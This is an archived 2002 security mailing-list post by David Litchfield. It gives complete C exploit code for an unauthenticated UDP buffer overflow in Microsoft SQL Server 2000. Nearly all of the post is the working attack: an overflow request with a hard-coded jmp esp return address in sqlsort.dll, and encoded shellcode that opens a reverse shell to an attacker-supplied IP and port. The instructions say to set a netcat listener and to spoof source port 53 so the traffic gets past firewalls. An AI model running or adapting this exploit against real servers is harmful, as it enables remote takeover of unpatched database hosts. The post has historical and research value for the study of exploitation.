Advanced windows shellcode

From: David Litchfield (davidat_private)
Date: Thu Aug 15 2002 - 21:05:02 PDT

  • Next message: iangreenat_private: "Re: IE without Images"

    Traditional windows shellcode uses pipes for stdin, stdout and stderrr and
    consequently the size of the exploit is c. 600 to 700 bytes. Rather than
    creating some pipes though one can create a socket using WSASocket() and use
    this socket as the handle to stdinm stdout and stderr. This considerably
    reduces the size of the code. If you hard code addresses etc (in other words
    you know the OS and OS Service pack of the target system) you can get the
    exploit code down to 160 bytes. This code here uses GetProcAddress and
    LoadLibrary to be platform independent though and is c. 300 bytes. I've not
    optomised it in anyway and there is indeed a lot of unneeded bytes used.
    This is from the paper I presented at blackhat on the Microsoft SQL Server
    unauthenticated buffer overflow over udp. When I first coded it I didn't
    bother to call ExitThread() so I tacked it onto the end - secondly - I
    thought sqlsort.dll was consistent across SQL Server service packs but it
    isn't - I'm using the import address entry for GetProcAddress and LoadLib
    from here. Unfortunately the location of the entry for GetProcAddress
    changes by 12 bytes  from sp0 to other sps.
    
    David Litchfield
    NGSSoftware Ltd
    http://www.ngssoftware.com/
    
    
    
    #include <stdio.h>
    #include <windows.h>
    #include <winsock.h>
    
    int GainControlOfSQL(void);
    int StartWinsock(void);
    
    struct sockaddr_in c_sa;
    struct sockaddr_in s_sa;
    
    struct hostent *he;
    SOCKET sock;
    unsigned int addr;
    int SQLUDPPort=1434;
    char host[256]="";
    char request[4000]="\x04";
    char ping[8]="\x02";
    
    char exploit_code[]=
    "\x55\x8B\xEC\x68\x18\x10\xAE\x42\x68\x1C"
    "\x10\xAE\x42\xEB\x03\x5B\xEB\x05\xE8\xF8"
    "\xFF\xFF\xFF\xBE\xFF\xFF\xFF\xFF\x81\xF6"
    "\xAE\xFE\xFF\xFF\x03\xDE\x90\x90\x90\x90"
    "\x90\x33\xC9\xB1\x44\xB2\x58\x30\x13\x83"
    "\xEB\x01\xE2\xF9\x43\x53\x8B\x75\xFC\xFF"
    "\x16\x50\x33\xC0\xB0\x0C\x03\xD8\x53\xFF"
    "\x16\x50\x33\xC0\xB0\x10\x03\xD8\x53\x8B"
    "\x45\xF4\x50\x8B\x75\xF8\xFF\x16\x50\x33"
    "\xC0\xB0\x0C\x03\xD8\x53\x8B\x45\xF4\x50"
    "\xFF\x16\x50\x33\xC0\xB0\x08\x03\xD8\x53"
    "\x8B\x45\xF0\x50\xFF\x16\x50\x33\xC0\xB0"
    "\x10\x03\xD8\x53\x33\xC0\x33\xC9\x66\xB9"
    "\x04\x01\x50\xE2\xFD\x89\x45\xDC\x89\x45"
    "\xD8\xBF\x7F\x01\x01\x01\x89\x7D\xD4\x40"
    "\x40\x89\x45\xD0\x66\xB8\xFF\xFF\x66\x35"
    "\xFF\xCA\x66\x89\x45\xD2\x6A\x01\x6A\x02"
    "\x8B\x75\xEC\xFF\xD6\x89\x45\xEC\x6A\x10"
    "\x8D\x75\xD0\x56\x8B\x5D\xEC\x53\x8B\x45"
    "\xE8\xFF\xD0\x83\xC0\x44\x89\x85\x58\xFF"
    "\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45"
    "\x84\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98"
    "\x8D\xBD\x48\xFF\xFF\xFF\x57\x8D\xBD\x58"
    "\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83"
    "\xC0\x01\x50\x83\xE8\x01\x50\x50\x8B\x5D"
    "\xE0\x53\x50\x8B\x45\xE4\xFF\xD0\x33\xC0"
    "\x50\xC6\x04\x24\x61\xC6\x44\x24\x01\x64"
    "\x68\x54\x68\x72\x65\x68\x45\x78\x69\x74"
    "\x54\x8B\x45\xF0\x50\x8B\x45\xF8\xFF\x10"
    "\xFF\xD0\x90\x2F\x2B\x6A\x07\x6B\x6A\x76"
    "\x3C\x34\x34\x58\x58\x33\x3D\x2A\x36\x3D"
    "\x34\x6B\x6A\x76\x3C\x34\x34\x58\x58\x58"
    "\x58\x0F\x0B\x19\x0B\x37\x3B\x33\x3D\x2C"
    "\x19\x58\x58\x3B\x37\x36\x36\x3D\x3B\x2C"
    "\x58\x1B\x2A\x3D\x39\x2C\x3D\x08\x2A\x37"
    "\x3B\x3D\x2B\x2B\x19\x58\x58\x3B\x35\x3C"
    "\x58";
    
    
    int main(int argc, char *argv[])
    {
     unsigned int ErrorLevel=0,len=0,c =0;
     int count = 0;
     char sc[300]="";
     char ipaddress[40]="";
     unsigned short port = 0;
     unsigned int ip = 0;
     char *ipt="";
     char buffer[400]="";
     unsigned short prt=0;
     char *prtt="";
    
    
     if(argc != 2 && argc != 5)
      {
       printf("\n\tSQL Server UDP Buffer Overflow\n\n\tReverse Shell Exploit
    Code");
       printf("\n\n\tUsage:\n\n\tC:\\>%s host your_ip_address your_port
    sp",argv[0]);
       printf("\n\n\tYou need to set nectat listening on a port");
       printf("\n\tthat you want the reverse shell to connect to");
       printf("\n\n\te.g.\n\n\tC:\\>nc -l -p 53");
       printf("\n\n\tThen run C:\\>%s db.target.com 199.199.199.199 53
    0",argv[0]);
       printf("\n\n\tAssuming, of course, your IP address is
    199.199.199.199\n");
       printf("\n\tWe set the source UDP port to 53 so this should go through");
       printf("\n\tmost firewalls - looks like a reply to a DNS query. Change");
       printf("\n\tthe source code if you want to modify this.");
       printf("\n\n\tThe SP Level is the SQL Server Service Pack:");
       printf("\n\tWith no service pack the import address entry for");
       printf("\n\tGetProcAddress() shifts by 12 bytes so we need to");
       printf("\n\tchange one byte of the exploit code to reflect this.");
       printf("\n\n\n\tDavid Litchfield\n\tdavidat_private\n\t22nd May
    2002\n\n\n\n");
       return 0;
      }
    
     strncpy(host,argv[1],250);
     if(argc == 5)
      {
       strncpy(ipaddress,argv[2],36);
    
       port = atoi(argv[3]);
       // SQL Server 2000 Service pack level
       // The import entry for GetProcAddress in sqlsort.dll
       // is at  0x42ae1010 but on SP 1 and 2 is at  0x42ae101C
       // Need to set the last byte accordingly
       if(argv[4][0] == 0x30)
        {
         printf("Service Pack 0. Import address entry for GetProcAddress @
    0x42ae1010\n");
         exploit_code[9]=0x10;
        }
       else
        {
         printf("Service Pack 1 or 2. Import address entry for GetProcAddress @
    0x42ae101C\n");
        }
    
      }
    
     ErrorLevel = StartWinsock();
     if(ErrorLevel==0)
      {
       printf("Error starting Winsock.\n");
       return 0;
      }
     if(argc == 2)
      {
       strcpy(request,ping);
    
       GainControlOfSQL();
       return 0;
      }
    
    
     strcpy(buffer,exploit_code);
    
     // set this IP address to connect back to
     // this should be your address
     ip = inet_addr(ipaddress);
     ipt = (char*)&ip;
     buffer[142]=ipt[0];
     buffer[143]=ipt[1];
     buffer[144]=ipt[2];
     buffer[145]=ipt[3];
    
     // set the TCP port to connect on
     // netcat should be listening on this port
     // e.g. nc -l -p 80
    
     prt = htons(port);
     prt = prt ^ 0xFFFF;
     prtt = (char *) &prt;
     buffer[160]=prtt[0];
     buffer[161]=prtt[1];
    
    
    
    
    strcat(request,"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO
    PPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXX");
    
     // Overwrite the saved return address on the stack
     // This address contains a jmp esp instruction
     // and is in sqlsort.dll.
    
     strcat(request,"\xDC\xC9\xB0\x42"); // 0x42B0C9DC
    
     // Need to do a near jump
     strcat(request,"\xEB\x0E\x41\x42\x43\x44\x45\x46");
    
     // Need to set an address which is writable or
     // sql server will crash before we can exploit
     // the overrun. Rather than choosing an address
     // on the stack which could be anywhere we'll
     // use an address in the .data segment of sqlsort.dll
     // as we're already using sqlsort for the saved
     // return address
    
     // SQL 2000 no service packs needs the address here
     strcat(request,"\x01\x70\xAE\x42");
    
     // SQL 2000 Service Pack 2 needs the address here
     strcat(request,"\x01\x70\xAE\x42");
    
     // just a few nops
     strcat(request,"\x90\x90\x90\x90\x90\x90\x90\x90");
    
    
     // tack on exploit code to the end of our request
     // and fire it off
     strcat(request,buffer);
    
     GainControlOfSQL();
    
     return 0;
    
    }
    
    
    int StartWinsock()
    {
     int err=0;
     WORD wVersionRequested;
     WSADATA wsaData;
    
     wVersionRequested = MAKEWORD( 2, 0 );
     err = WSAStartup( wVersionRequested, &wsaData );
     if ( err != 0 )
      {
       return 0;
      }
     if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
        {
            WSACleanup( );
            return 0;
      }
    
     if (isalpha(host[0]))
        {
       he = gethostbyname(host);
        }
     else
      {
       addr = inet_addr(host);
       he = gethostbyaddr((char *)&addr,4,AF_INET);
      }
    
     if (he == NULL)
        {
       return 0;
        }
    
     s_sa.sin_addr.s_addr=INADDR_ANY;
     s_sa.sin_family=AF_INET;
     memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
     return 1;
    }
    
    
    
    int GainControlOfSQL(void)
    {
    
     SOCKET c_sock;
    
     char resp[600]="";
     char *ptr;
     char *foo;
     int snd=0,rcv=0,count=0, var=0;
     unsigned int ttlbytes=0;
     unsigned int to=2000;
     struct sockaddr_in        srv_addr,cli_addr;
     LPSERVENT            srv_info;
     LPHOSTENT            host_info;
     SOCKET            cli_sock;
    
    
     cli_sock=socket(AF_INET,SOCK_DGRAM,0);
     if (cli_sock==INVALID_SOCKET)
      {
           return printf(" sock error");
          }
    
     cli_addr.sin_family=AF_INET;
     cli_addr.sin_addr.s_addr=INADDR_ANY;
     cli_addr.sin_port=htons((unsigned short)53);
    
     setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned
    int));
     if (bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR)
      {
           return printf("bind error");
          }
    
    
    
     s_sa.sin_port=htons((unsigned short)SQLUDPPort);
    
     if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
      {
       return printf("Connect error");
      }
    
    
    
     else
      {
           snd=send(cli_sock, request , strlen (request) , 0);
       printf("Packet sent!\nIf you don't have a shell it didn't work.");
       rcv = recv(cli_sock,resp,596,0);
       if(rcv > 1)
        {
         while(count < rcv)
          {
           if(resp[count]==0x00)
            resp[count]=0x20;
           count++;
          }
         printf("%s",resp);
        }
      }
     closesocket(cli_sock);
    return 0;
    }
    



    This archive was generated by hypermail 2b30 : Fri Aug 16 2002 - 10:04:23 PDT